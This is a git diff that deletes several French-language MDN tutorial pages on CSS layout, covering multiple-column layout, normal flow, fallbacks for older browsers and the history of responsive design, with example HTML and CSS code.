{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}

- -

In this module

- - diff --git a/files/fr/apprendre/css/css_layout/multiple-column_layout/index.html b/files/fr/apprendre/css/css_layout/multiple-column_layout/index.html deleted file mode 100644 index b4fb4b03d7..0000000000 --- a/files/fr/apprendre/css/css_layout/multiple-column_layout/index.html +++ /dev/null @@ -1,415 +0,0 @@ ---- -title: Disposition sur plusieurs colonnes -slug: Apprendre/CSS/CSS_layout/Multiple-column_Layout -tags: - - Apprendre - - Apprentissage - - CSS - - Colonnes multiples - - Disposition - - Débutant - - Guide - - Multi-col -translation_of: Learn/CSS/CSS_layout/Multiple-column_Layout ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}
- -

Une mise en page à colonnes multiples est une méthode de disposition du contenu sur plusieurs colonnes juxtaposées, telle dans un journal. Cet article explique comment utiliser cette fonction.

- - - - - - - - - - - - -
Prérequis:Les fondamentaux du HTML (étudiez Introduction au HTML), et une idée du fonctionnement de CSS (étudiez Introduction à CSS.)
Objectif:Apprendre comment créer une disposition de contenu sur plusieurs colonnes dans une page web, comme dans un journal.
- -

Un exemple élémentaire

- -

Nous allons maintenant explorer la disposition du contenu sur plusieurs colonnes, souvent nommée  « multicol ». Vous pourrez effectuer le suivi de cet article en  téléchargeant le fichier de depart multicol et en ajoutant la CSS aux emplacements appropriés. En fin de section, vous verrez un exemple en direct de ce à quoi le code final peut ressembler.

- -

Notre point de départ contient un HTML très simple ; une enveloppe de la classe container dans laquelle nous avons placé un en‑tête et quelques paragraphes.

- -

L'élément {{htmlelement("div")}} de la classe container sera notre conteneur multi‑colonnes. Nous basculons dans une disposition multicol en utilisant l'une des deux propriétés {{cssxref("column-count")}} ou {{cssxref("column-width")}}. La propriété column-count crée autant de colonnes que la valeur indiquée, donc si vous ajoutez la CSS suivante et actalisez la page, vous obtiendrez une disposition sur trois colonnes :

- -
.container {
-  column-count: 3;
-}
-
- -

Les colonnes créées sont de largeur variable — le navigateur colcule automatiquement l'espace à donner à chacune d'entre elles.

- -
- - -
<div class="container">
-  <h1>Simple exemple <i>multicol</i></h1>
-
-  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
-  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
-  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
-  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
-  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
-  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
-  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
-  dis parturient montes, nascetur ridiculus mus.</p>
-</div>
-
- -
.container {
-  column-count: 3;
-}
-
-
- -

{{ EmbedLiveSample('Multicol_1', '100%', 400) }}

- -

Modifiez la CSS pour utiliser column-width ainsi :

- -
.container {
-  column-width: 200px;
-}
-
- -

Le navigateur dispose maintenant le maximum de colonnes possible de la taille fixée ; le reste de l'espace est partagé entre les colonnes existantes. Cela signifie que vous n'obtiendrez pas exactement la largeur définie, à moins que le conteneur soit exactement divisible par cette largeur.

- -
- - -
.container {
-  column-width: 200px;
-}
-
-
- -

{{ EmbedLiveSample('Multicol_2', '100%', 400) }}

- -

Style des colonnes

- -

Les colonnes créées avec multicol ne peuvent pas être stylisées individuellement. Il n'y a aucun moyen de faire en sorte qu'une colonne soit plus large qu'une autre, ou de modifier l'arrière‑plan ou la couleur du texte d'une seule colonne. Il y a deux moyens de modifier l'affichage des colonnes :

- - - -

En utilisant l'exemple ci‑dessus, changeons la taille de l'espacement entre colonnes avec la propriété column-gap :

- -
.container {
-  column-width: 200px;
-  column-gap: 20px;
-}
- -

Vous pouvez tester diverses valeurs — la propriété accepte n'importe quelle unité de longueur. Ajoutons maintenant une règle entre colonnes avec column-rule. De la même manière qu'avec la propriété {{cssxref("border")}} rencontrée dans les articles précédents, column-rule, forme abrégée de {{cssxref("column-rule-color")}}, {{cssxref("column-rule-style")}} et  {{cssxref("column-rule-width")}}, accepte les mêmes valeurs.

- -
.container {
-  column-count: 3;
-  column-gap: 20px;
-  column-rule: 4px dotted rgb(79, 185, 227);
-}
- -

Ajoutons des règles pour les divers styles et couleurs.

- -
- -
- -

{{ EmbedLiveSample('Multicol_3', '100%', 400) }}

- -

Notez que  la règle ne prend pas de largeur en soi. Elle se place dans l'espace créé avec  column-gap. Pour faire un peu plus d'espace d'un côté ou de l'autre de la règle, vous devez augmenter la taille de l'espace entre les colonnes.

- -

Colonnes et coupures

- -

Le contenu d'une disposition en plusieurs colonnes est coupé. Il se comporte essentiellement de la même manière qu'un contenu en plusieurs pages — comme quand vous imprimez une page web. Quand vous mettez un contenu dans un conteneur multicol, il est découpé en colonnes de texte pour permettre cette disposition.

- -

Quelquefois, ces coupures se font dans des endroits amenant des difficultés de lecture. Dans l'exemple en direct ci‑dessous, j'ai utilisé multicol pour disposer une série de boîtes dont chacune a un titre et un peu de texte. Le titre est séparé du texte si la coupure de colonne se produit entre les deux.

- -
- - -
<div class="container">
-  <div class="card">
-    <h2>Je suis un titre</h2>
-    <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>Je suis un titre</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>Je suis un titre</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-    <div class="card">
-      <h2>Je suis un titre</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>Je suis un titre</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>Je suis un titre</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-    <div class="card">
-      <h2>Je suis un titre</h2>
-      <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
-                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
-                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
-                vel, viverra egestas ligula.</p>
-    </div>
-
-</div>
-
- -
.container {
-  column-width: 250px;
-  column-gap: 20px;
-}
-
-.card {
-  background-color: rgb(207, 232, 220);
-  border: 2px solid rgb(79, 185, 227);
-  padding: 10px;
-  margin: 0 0 1em 0;
-}
-
- -

{{ EmbedLiveSample('Multicol_4', '100%', 600) }}

- -

Pour contrôler ce comportement, utilisons les propriétés stipulées dans CSS Fragmentation (coupures dans la CSS). Cette fonctionnalité nous offre des propriétés pour contrôler les coupures de contenu dans le multicol et les médias paginés. Par exemple, ajoutons la propriété {{cssxref("break-inside")}} avec la valeur avoid aux règles pour .card, qui est le conteneur du titre et du texte. Nous indiquons que nous ne souhaitons pas que cette boîte soit coupée.

- -

Il est également préférable d'ajouter l'ancienne propriété page-break-inside: avoid pour une meilleure prise en charge par les divers navigateurs.

- -
.card {
-  break-inside: avoid;
-  page-break-inside: avoid;
-  background-color: rgb(207,232,220);
-  border: 2px solid rgb(79,185,227);
-  padding: 10px;
-  margin: 0 0 1em 0;
-}
-
- -

Actualisez la page et les boîtes devraient rester entières.

- -
- - -
.container {
-  column-width: 250px;
-  column-gap: 20px;
-}
-
-.card {
-  break-inside: avoid;
-  page-break-inside: avoid;
-  background-color: rgb(207, 232, 220);
-  border: 2px solid rgb(79, 185, 227);
-  padding: 10px;
-  margin: 0 0 1em 0;
-}
-
- -

{{ EmbedLiveSample('Multicol_5', '100%', 600) }}

- -

Résumé

- -

Vous savez maintenant comment utiliser les fonctionnalités élémentaires de la mise en page sur plusieurs colonnes, autre outil à votre disposition pour choisir une méthode de présentation pour le désign de vos applications.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/css/css_layout/normal_flow/index.html b/files/fr/apprendre/css/css_layout/normal_flow/index.html deleted file mode 100644 index c3d51d3313..0000000000 --- a/files/fr/apprendre/css/css_layout/normal_flow/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Cours normal -slug: Apprendre/CSS/CSS_layout/Normal_Flow -translation_of: Learn/CSS/CSS_layout/Normal_Flow ---- -
{{LearnSidebar}}
- -

{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Introduction", "Apprendre/CSS/CSS_layout/Flexbox", "Apprendre/CSS/CSS_layout")}}

- -

Cet article décrit le déroulement normal, c'est-à-dire la façon dont les éléments d'une page web se présentent si vous ne modifiez pas leur mise en page.

- - - - - - - - - - - - -
Prérequis :Les fondamentaux du HTML (étudiez Introduction au HTML) et avoir une idée de la manière dont les CSS fonctionnent (étudiez Introduction aux CSS).
Objectif :Expliquer comment les navigateurs composent les pages web par défaut, avant que nous commencions à faire des modifications.
- -

Comme indiqué dans la précédente leçon d'introduction à la mise en page, les éléments d'une page Web suivent un cours normal de mise en page, si vous n'avez pas appliqué de CSS pour changer leur comportement. Et, comme nous avons commencé à le découvrir, vous pouvez changer le comportement des éléments, soit en ajustant leur position dans ce cours normal, soit en les sortant totalement de ce cours. Commencer par un document solide, bien structuré et lisible en cours normal est la meilleure façon de commencer n'importe quelle page Web. Cela garantit un contenu lisible, même si l'utilisateur visite le site avec un navigateur peu performant ou un dispositif tel qu'un lecteur d'écran lisant le contenu de la page. De plus, comme le cours normal a été pensé pour faire en sorte que le document soit lisible, en commençant de cette façon, vous travaillez avec le document au lieu de vous battre contre lui quand vous apportez des modifications à la mise en page.

- -

Avant d'approfondir les diverses méthodes de mise en page, revoir certaines choses déjà exposées dans les modules précédents à propos du cours normal d'affichage d'un document.

- -

Disposition des éléments par défaut

- -

Tout d'abord, les boîtes des éléments pris isolément sont conditionnées en prenant le contenu des éléments, auquel, autour d'eux, est rapporté le remplissage, l'encadrement et la marge — conformément au modèle de boîte examiné plus tôt.

- -

Par défaut, le contenu d'un élément de niveau bloc prend 100% de la largeur de son élément parent et sa hauteur est commandée par son contenu. Les éléments en ligne ont la hauteur et la largeur de leur contenu. Vous ne pouvez pas définir la largeur ou la hauteur d'éléments en ligne — ils se trouvent uniquement à l'intérieur d'un contenu d'élément de niveau bloc. Si vous voulez contrôler la taille d'un élément en ligne de cette manière, vous devez le paramétrer pour qu'il se comporte comme un élément de niveau bloc avec display: bloc ; (ou même display: inline-block ; qui mélange les caractéristiques des deux).

- -

Ce qui précède explique le comportement des éléments pris individuellement, mais qu'en est-il de la façon dont les éléments interagissent les uns avec les autres ? Le cours normal de mise en page (mentionné dans l'article d'introduction à la mise en page) est le système par lequel les éléments sont placés à l'intérieur de la fenêtre de vue du navigateur. Par défaut, les éléments de niveau bloc sont disposés dans le sens où les blocs s'affichent dans le mode d'écriture du document — chacun apparaît sur une nouvelle ligne en dessous de la dernière et ils sont séparés par la marge qui leur a été assignée. En anglais donc, ou tout autre mode d'écriture horizontal, de haut en bas, les éléments de niveau bloc sont empilés verticalement.

- -

Les éléments en ligne se comportent différemment — ils ne sont pas sur une nouvelle ligne ; ils se placent sur la même ligne qu'un autre élément inline ou que n'importe quel contenu textuel adjacent (ou entourant) tant qu'il y a de la place pour eux dans la largeur de l'élément parent de niveau de bloc. S'il n'y a pas suffisamment d'espace, le texte ou les éléments débordants se déplaceront sur une nouvelle ligne.

- -

Si deux éléments adjacents ont tous deux une marge et que les deux marges se touchent, seule reste la plus grande des deux et la plus petite est englobée dans la plus grande — c'est ce qu'on appelle la fusion des marges ; nous l'avons déjà rencontrée plus haut.

- -

Voici un exemple simple expliquant cela :

- -
-
<h2>Cours d'un document de base</h2>
-
-<p>Je suis un élément de niveau bloc de base.
- Mes éléments de niveau bloc adjacents sont sur de
- nouvelles lignes en dessous de moi.</p>
-
-<p>Par défaut, nous occupons 100% de la largeur
- de notre élément parent et nous sommes aussi hauts
- que notre contenu enfant. Nos largeur et hauteur totales
- sont égales à la largeur/hauteur de notre
- contenu + remplissage + encadrement.</p>
-
-<p>Nous sommes séparés de nos marges.
- Comme il y a fusion des marges, nous sommes séparés
- par la largeur de l'une de nos marges et non les deux.</p>
-
-<p>Des éléments inline <span>comme celui-ci</span> ou
- <span>celui‑là</span> sont placés sur la même ligne et
- les nœuds de texte adjacents, s'il y a de la place sur
- la même ligne. Les débordements des éléments inline
- <span>sont placés sur une nouvelle ligne si possible
- (comme celle‑ci contenant du texte)</span>, sinon ils
- sont placés sur une nouvelle ligne, comme cette image :
- <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p>
- -
body {
-  width: 500px;
-  margin: 0 auto;
-}
-
-p {
-  background: rgba(255,84,104,.3);
-  border: 2px solid rgb(255,84,104);
-  padding: 10px;
-  margin: 10px;
-}
-
-span {
-  background: white;
-  border: 1px solid black;
-}
-
- -

{{ EmbedLiveSample('Normal_Flow', '100%', 500) }}

- -

Résumé

- -

Maintenant que vous avez vu ce qu'est le cours normal de la mise en page et la façon dont le navigateur présente les choses par défaut, passons à la page suivante pour comprendre comment modifier cet affichage par défaut pour créer une mise en page conforme à votre design.

- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/css/css_layout/prise_en_charge_des_anciens_navigateurs/index.html b/files/fr/apprendre/css/css_layout/prise_en_charge_des_anciens_navigateurs/index.html deleted file mode 100644 index c56a030d08..0000000000 --- a/files/fr/apprendre/css/css_layout/prise_en_charge_des_anciens_navigateurs/index.html +++ /dev/null @@ -1,237 +0,0 @@ ---- -title: Prise en charge des anciens navigateurs -slug: Apprendre/CSS/CSS_layout/Prise_En_Charge_Des_Anciens_Navigateurs -translation_of: Learn/CSS/CSS_layout/Supporting_Older_Browsers ---- -
{{LearnSidebar}}
- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}

- -

In this module, we recommend using Flexbox and Grid as the main layout methods for your designs. However, there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. This will always be the case on the web — as new features are developed, different browsers will prioritise different things. This article explains how to use modern web techniques without locking out users of older technology.

- - - - - - - - - - - - -
Prerequisites:HTML basics (study Introduction to HTML), and an idea of how CSS works (study Introduction to CSS and Styling boxes.)
Objective:To understand how to provide support for your layouts on older browsers that might not support the features you want to use.
- -

What is the browser landscape for your site?

- -

Every website is different in terms of target audience. Before deciding on the approach to take, find out the number of visitors coming to your site using older browsers. This is straightforward if you have an existing website which you are adding to or replacing, as you probably have analytics available which can tell you the technology people are using. If you have no analytics or this is a brand new site, then there are sites such as Statcounter that can provide statistics filtered by location.

- -

You should also consider the type of devices and the way people use your site, for example, you may expect a higher than an average number of mobile devices. Accessibility and people using assistive technology should always be considered, but for some sites that may be even more critical. In my experience, developers are often very worried about the experience of 1% of users in an old version of Internet Explorer, while not considering at all the far greater number who have accessibility needs.

- -

What is the support for the features you want to use?

- -

Once you know the browsers that come to your site, you can assess any technology that you want to use against how well it is supported and how easily you can provide an alternative for visitors who do not have that technology available. We are trying to make this easy for you at MDN, by providing browser compatibility information on each page detailing a CSS property. For example, take a look at the page for {{cssxref("grid-template-columns")}}. At the bottom of this page is a table, which lists major browsers along with the version they began supporting this property.

- -

- -

Another popular way to find out about how well a feature is supported is the Can I Use website. This site lists the majority of Web Platform features with information about their browser support status. You can view usage statistics by location — useful if you work on a site that has users mostly for a specific area of the world. You can even link your Google Analytics account to get analysis based on your user data.

- -

Understanding the technology your users have, and the support for things you might want to use puts you in a good place to make all of your decisions and to know how best to support all of your users.

- -

Support doesn't mean "looks the same"

- -

A website can’t possibly look the same in all browsers, because some of your users will be viewing the site on a phone and others on a large desktop screen. Similarly, some of your users will have an old browser version, and others the latest browser. Some of your users might be hearing your content read out to them by a screen reader, or have zoomed in on the page to be able to read it. Supporting everyone means serving a version of your content that is designed defensively, so that it will look great on modern browsers, but will still be usable at a basic level for users of older browsers.

- -

A basic level of support comes from structuring your content well so that the normal flow of your page makes sense. A user with a very limited feature phone might not get much of your CSS, but the content will flow in a way that makes reading easy. Therefore, a well-structured HTML document should always be your starting point. If you remove your stylesheet, does your content make sense?

- -

One option is to leave this plain view of the site as the fallback for people using very old or limited browsers. If you have a tiny number of people coming to the site in these browsers it may not make commercial sense to pour time into trying to give them a similar experience to people on modern browsers. It would be better to spend the time on things which make the site more accessible, thus serving far more users. There is a middle ground between a plain HTML page and all the bells and whistles, and CSS has actually made creating these fallbacks pretty straightforward.

- -

Creating fallbacks in CSS

- -

CSS specifications contain information that explains what the browser does when two layout methods are applied to the same item. This means that there is a definition for what happens if a floated item, for example, is also a Grid Item using CSS Grid Layout. Couple this information with the knowledge that browsers ignore CSS that they don’t understand, and you have a way to create simple layouts using the legacy techniques we have already covered, which are then overwritten by your Grid layout in modern browsers that understand it.

- -

In the below example, we have floated three <div>s so they display in a row. Any browser that does not support CSS Grid Layout will see the row of boxes as a floated layout. A floated item that becomes a grid item loses the float behaviour, which means that by turning the wrapper into a Grid Container, the floated items become Grid Items. If the browser supports Grid Layout it will display the grid view, if not it ignores the anddisplay: grid related properties and the floated layout is used.

- -
-
* {box-sizing: border-box;}
-
-.wrapper {
-  background-color: rgb(79,185,227);
-  padding: 10px;
-  max-width: 400px;
-  display: grid;
-  grid-template-columns: 1fr 1fr 1fr;
-}
-
-.item {
-  float: left;
-  border-radius: 5px;
-  background-color: rgb(207,232,220);
-  padding: 1em;
-}
-
- -
<div class="wrapper">
-  <div class="item">Item One</div>
-  <div class="item">Item Two</div>
-  <div class="item">Item Three</div>
-</div>
-
- -

{{ EmbedLiveSample('Example1', '100%', '200') }}

-
- -
-

Note: The {{cssxref("clear")}} property also has no effect once the cleared item becomes a grid item, so you could have a layout with a cleared footer, which is then turned into a Grid Layout.

-
- -

Fallback Methods

- -

There are a number of layout methods which can be used in a similar way to this float example. You can choose the one that makes the most sense for the layout pattern you need to create.

- -
-
Float and clear
-
As shown above, the float and clear properties cease to affect the layout if floated or cleared items become flex or grid items.
-
display: inline-block
-
This method can be used to create column layouts, if an item has display: inline-block set but then becomes a flex or grid item, the inline-block behaviour is ignored.
-
display: table
-
The method of creating CSS Tables described in the introduction to these lessons can be used as a fallback. Items that have CSS table layouts set on them will lose this behaviour if they become flex or grid items. Importantly, the anonymous boxes created to fix up the table structure are not created.
-
Multiple-column Layout
-
For certain layouts you could use multi-col as a fallback, if your container has any of the column-* properties defined on it and then becomes a grid container, the multicol behaviour will not happen.
-
Flexbox as a Fallback for Grid
-
Flexbox has greater browser support than Grid due to being supported by IE10 and 11, although do check out the information later in this lesson explaining the rather patchy and confusing support for Flexbox in older browsers. If you make a flex container into a grid container, any flex property applied to the children will be ignored.
-
- -

For many layout tweaks in older browsers, you may find you can give a decent experience by using CSS in this way. We add a simpler layout based on older and well-supported techniques, then use the newer CSS to create the layout that over 90% of your audience will see. There are cases, however, when the fallback code will need to include something that the new browsers will also interpret. A good example of this is if we were to add percentage widths to our floated items to make the columns more like the grid display, stretching to fill the container.

- -

In the floated layout, the percentage is calculated from the container — 33.333% is a third of the container width. In Grid however that 33.333% is calculated from the grid area the item is placed in, so it actually becomes a third of the size we want once the Grid Layout is introduced.

- -
-
* {box-sizing: border-box;}
-
-.wrapper {
-  background-color: rgb(79,185,227);
-  padding: 10px;
-  max-width: 400px;
-  display: grid;
-  grid-template-columns: 1fr 1fr 1fr;
-}
-
-.item {
-  float: left;
-  border-radius: 5px;
-  background-color: rgb(207,232,220);
-  padding: 1em;
-  width: 33.333%;
-}
-
- -
<div class="wrapper">
-  <div class="item">Item One</div>
-  <div class="item">Item Two</div>
-  <div class="item">Item Three</div>
-</div>
-
- -

{{ EmbedLiveSample('Example2', '100%', '200') }}

-
- -

To deal with this issue we need to have a way to detect if Grid is supported and therefore if it will override the width. CSS has a solution for us here.

- -

Feature queries

- -

Feature queries allow you to test whether a browser supports any particular CSS feature. This means that you can write some CSS for browsers that don’t support a certain feature, then check to see if the browser has support and if so throw in your fancy layout.

- -

If we add a feature query to the above example, we can use it to set the widths of our items back to auto  if we know that we have grid support.

- -
-
* {box-sizing: border-box;}
-
-.wrapper {
-  background-color: rgb(79,185,227);
-  padding: 10px;
-  max-width: 400px;
-  display: grid;
-  grid-template-columns: 1fr 1fr 1fr;
-}
-
-.item {
-  float: left;
-  border-radius: 5px;
-  background-color: rgb(207,232,220);
-  padding: 1em;
-  width: 33.333%;
-}
-
-@supports (display: grid) {
-  .item {
-      width: auto;
-  }
-}
-
- -
<div class="wrapper">
-  <div class="item">Item One</div>
-  <div class="item">Item Two</div>
-  <div class="item">Item Three</div>
-</div>
-
- -

{{ EmbedLiveSample('Example3', '100%', '200') }}

-
- -

Support for feature queries is very good across modern browsers, however, you should note that it is the browsers that do not support CSS Grid, which also doesn’t support feature queries. This means that an approach as detailed above will work for those browsers. What we are doing is writing our old CSS first, outside of any feature query. Browsers that do not support Grid, and do not support the feature query will use that layout information they can understand and completely ignore everything else. The browsers that support the feature query also support CSS Grid and so will run the grid code and the code inside the feature query.

- -

The specification for feature queries also contains the ability to test if a browser does not support a feature — this is only helpful if the browser does support feature queries. In the future, an approach of checking for lack of support will work, as the browsers that don’t have feature query support go away. For now, however, use the approach of doing the older CSS, then overwriting it, for the best support.

- -

Older versions of Flexbox

- -

In older versions of browsers, you can find previous iterations of the Flexbox specification. At the time of writing, this is mostly an issue with Internet Explorer 10, which uses the -ms-  prefix for Flexbox. This also means that there are some outdated articles and tutorials in existence; this useful guide helps you check what you are looking at and can also help if you need flex support in very old browsers.

- -

The IE10 and 11 prefixed version of Grid

- -

The CSS Grid specification was initially prototyped In Internet Explorer 10; this means that while IE10 and IE11 do not have modern grid support, they do have a version of Grid layout that is very usable, although different to the modern specification documented on this site. The IE10 and 11 implementations is  -ms- prefixed, which means you can use it for these browsers and it will be ignored by non-Microsoft browsers. Edge does still understand the old syntax, however, so take care that everything is safely overwritten in your modern grid CSS.

- -

The guide to Progressive Enhancement in Grid Layout can help you understand the IE version of the grid, and we have included some additional useful links at the end of this lesson. However, unless you have a very high number of visitors in older IE versions, you may find it better to focus on creating a fallback that works for all non-supporting browsers.

- -

Testing older browsers

- -

With the majority of browsers supporting Flexbox and Grid, it can be reasonably hard to test older browsers. One way is to use an online testing tool such as Sauce Labs, as detailed in the Cross browser testing module.

- -

You can also download and install Virtual Machines, and run older versions of browsers in a contained environment on your own computer. Having access to older versions of Internet Explorer is particularly useful, and for that purpose, Microsoft has made a range of Virtual Machines available for free download. These are available for Mac, Windows and Linux operating systems and so are a great way to test in old and modern Windows browsers even if you are not using a Windows computer.

- -

Summary

- -

You now have the knowledge to confidently use techniques such as Grid and Flexbox, create fallbacks for older browsers, and make use of any new techniques that might come along in the future.

- -

See Also

- - - -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Legacy_Layout_methods", "Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension", "Learn/CSS/CSS_layout")}}

- -

In this module

- - diff --git a/files/fr/apprendre/css/css_layout/responsive_design/index.html b/files/fr/apprendre/css/css_layout/responsive_design/index.html deleted file mode 100644 index 323df1a7f6..0000000000 --- a/files/fr/apprendre/css/css_layout/responsive_design/index.html +++ /dev/null @@ -1,334 +0,0 @@ ---- -title: Responsive design -slug: Apprendre/CSS/CSS_layout/Responsive_Design -tags: - - Images - - Media Queries - - RWD - - Responsive web design - - Typographie - - flexbox - - grid - - grille fluide -translation_of: Learn/CSS/CSS_layout/Responsive_Design ---- -
{{learnsidebar}}{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Apprendre/CSS/CSS_layout/Media_queries", "Apprendre/CSS/CSS_layout")}}
- -

Aux débuts de la conception Web, les pages étaient construites pour cibler une taille d'écran particulière. Si l'utilisateur avait un écran plus grand ou plus petit que celui du concepteur, les résultats attendus pouvaient aller de barres de défilement indésirables, à des longueurs de lignes trop longues, et à une mauvaise utilisation de l'espace. À mesure que des tailles d'écran plus variées devenaient disponibles, le concept de responsive web design (RWD) est apparu, un ensemble de pratiques qui permet aux pages Web de modifier leur disposition et leur apparence pour s'adapter à différentes largeurs d'écran, résolutions, etc. C'est une idée qui a changé notre façon de concevoir pour un web multi-périphériques, et dans cet article nous vous aiderons à comprendre les principales techniques que vous devez connaître pour la maîtriser.

- - - - - - - - - - - - -
Prérequis:Les bases du HTML (étudier Introduction au HTML), et une idée du fonctionnement du CSS (édutier Premiers pas en CSS et Blocs de base en CSS.)
Objectif:Comprendre les concepts fondamentaux et l'histoire du responsive design.
- -

Historique de la mise en page des sites Web

- -

A une époque, vous aviez deux options pour concevoir un site Web :

- - - -

Ces deux approches donnaient lieu à un site Web qui avait fière allure sur l'écran de la personne qui le concevait ! Les site liquides avaient pour résultat un design écrasé sur les petits écrans (comme on le voit ci-dessous) et des longueurs de lignes illisibles sur les plus grands.

- -
Une mise en page avec deux colonnes écrasées dans une fenêtre de taille mobile. -
-
- -
-

Note: Voir cette simple mise en page "liquide" : exemple, code source. Lorsque vous regardez l'exemple, faites glisser la fenêtre de votre navigateur vers l'intérieur et vers l'extérieur pour voir comment cela se présente en fonction des différentes tailles.

-
- -

Les sites à largeur fixe risquaient d'avoir une barre de défilement horizontale sur les écrans plus petits que la largeur du site (comme on le voit ci-dessous), et beaucoup d'espace blanc sur les bords sur les écrans plus grands.

- -
Une mise en page avec une barre de défilement horizontale dans une fenêtre de visualisation mobile. -
-
- -
-

Note: Voir cette simple mise en page à largeur fixe : exemple, code source. Là encore, observez le résultat lorsque vous modifiez la taille de la fenêtre du navigateur.

-
- -
-

Note: Les captures d'écran ci-dessus sont réalisées à l'aide de la Vue adaptative de la boîte à outils de Firefox.

-
- -

Lorsque le web mobile a commencé à devenir une réalité avec les premiers téléphones à fonctions, les entreprises qui souhaitaient adopter le mobile créaient généralement une version mobile spéciale de leur site, avec une URL différente (souvent quelque chose comme m.example.com, ou example.mobi). Cela signifiait qu'il fallait développer deux versions distinctes du site et les tenir à jour.

- -

De plus, ces sites mobiles offraient souvent une expérience très réduite. Les appareils mobiles devenant plus puissants et capables d'afficher des sites Web complets, cela était frustrant pour les utilisateurs mobiles qui se retrouvaient coincés dans la version mobile du site et incapables d'accéder à l'information qu'ils savaient disponible sur la version de bureau complète du site.

- -

Mise en page flexible avant le responsive design

- -

Un certain nombre d'approches ont été développées pour tenter de résoudre les inconvénients des méthodes de construction de sites Web liquide et à largeur fixe. En 2004, Cameron Adams a écrit un article intitulé Mise en page en fonction de la résolution (EN), décrivant une méthode de création de design pouvant s'adapter à différentes résolutions d'écran. Cette approche nécessitait l'utilisation de JavaScript pour détecter la résolution d'écran et charger la bonne CSS.

- -

